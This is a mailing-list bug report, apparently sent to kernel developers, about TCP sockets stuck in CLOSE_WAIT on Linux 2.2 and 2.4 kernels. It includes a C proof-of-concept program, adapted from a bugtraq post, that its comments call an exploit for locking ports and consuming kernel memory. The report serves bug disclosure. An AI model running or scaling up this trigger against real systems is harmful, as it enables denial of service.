Hi all,
I suppect that there is bug in both kernel 2.2.19 and 2.4.5.
The situation is as follow.
One server socket created and listening, blocking on select(),
once a client connect to that port, there is another thread in server
side issues a close() to the new connection.
After the client close the connection. The connection in server side will
stuck on CLOSE_WAIT forever until the program being killed.
I have attached a program to trigger the bug.
The program is written base on a bugtraq post on this link:
http://archives.indenial.com/hypermail/bugtraq/1999/January1999/0015.html
This is the output of "netstat -anop":
tcp 1 0 127.0.0.1:52882 127.0.0.1:1031 CLOSE_WAIT - off (0.00/0/0)
tcp 1 0 127.0.0.1:52882 127.0.0.1:1030 CLOSE_WAIT - off (0.00/0/0)
You can see that there is no owner and the timer is off.
I encounter this in my server program and the CLOSE_WAIT thread eat up
all the resource as it cannot be released.
I have tried this on kernel 2.2.16, 2.2.19, 2.4.5 and using
gcc version 2.96 20000731 (Red Hat Linux 7.0), all this have such problem.
I am new to kernel hacking. I don't know whether this is a bug or not.
Please correct me if I am doing something wrong and forgive my poor
description. :)
Thanks
Dicky
PS. Please CC: [EMAIL PROTECTED] when reply.
// This program will kill a random port on a linux machine. The kernel will
// forever listen to that port and send the connections nowhere. Tested with
// Linux kernel 2.0.35 and libc-2.0.7. Requires LinuxThreads to compile,
// but removing LinuxThreads from your system will not solve the problem.
// The bug is triggered when a multithreaded program closes a socket from
// one thread while another thread is selecting on it. A subsequent abort
// leaves the socket in never-never land.
// Do not underestimate the risk of this exploit. While this program
// is mild, more vicious programs could lock large numbers of ports or
// replicate this same attack on an active connection with large
// send/receive buffers full of data. This could cause large increases
// in kernel memory consumption.
// Discovered by David J. Schwartz <[EMAIL PROTECTED]>
// Copyright (C) 1998, David J. Schwartz
// Note: This bug was not fixed in 2.0.36, as I was told it would be
// Compile with:
// gcc CLOSE_WAIT_test.c -lpthread -o CLOSE_WAIT_test
#include <pthread.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <stdlib.h>
#include <arpa/inet.h>
#include <errno.h>
volatile int s;
volatile int sock;
volatile int connected=0;
void *Thread1(void *a)
{
int i,p;
struct sockaddr_in to;
fd_set fd;
s=socket(AF_INET, SOCK_STREAM, 0);
if(s<=0) return;
memset(&to, 0, sizeof(to));
srand(getpid());
/* we pick a random port between 50000 and 59999 */
p=(rand()%10000)+50000;
printf("port = %d\n", p);
fflush(stdout);
to.sin_port=htons(p);
to.sin_addr.s_addr=0;
to.sin_family=AF_INET;
if(bind(s, (struct sockaddr *)&to, sizeof(to))<0)
fprintf(stderr,"no bind\n");
if(listen(s,10)!=0)
fprintf(stderr,"No Listen\n");
/* now we are listening on that port */
i=sizeof(to);
FD_ZERO(&fd);
FD_SET(s,&fd);
fprintf(stdout,"Listening, before select\n");
fprintf(stdout,"Please connect to port %d now\n", p);
select(s+1,&fd,NULL,NULL,NULL);
/* at this point we have selected on it as well */
fprintf(stderr,"select returned!\n");
if (FD_ISSET(s, &fd))
{
fprintf(stdout, "socket is set\n");
sock = accept(s, NULL, NULL);
fprintf(stdout, "accepted\n");
FD_SET(sock, &fd);
fprintf(stdout, "FD_SET ok\n");
connected = 1;
fprintf(stdout,"\nListening, before select\n");
select(sock+1, &fd, NULL, NULL, NULL);
fprintf(stdout, "select returned\n");
}
else
{
fprintf(stderr, "Error : fd not set\n");
exit(1);
}
}
void *Thread2(void *a)
{
fprintf(stdout,"Thread2 : before close the client socket\n");
close(sock);
fprintf(stdout,"Thread2 : after close the client socket\n\n\n");
fprintf(stdout,"Please close the remote session and check the result\n");
fflush(stderr);
// abort();
}
void main(void)
{
pthread_t j;
pthread_create(&j,NULL,Thread1,NULL);
while (connected == 0)
usleep(1000); /* give the other thread time to finish */
pthread_create(&j,NULL,Thread2,NULL);
while(1) sleep(1);
}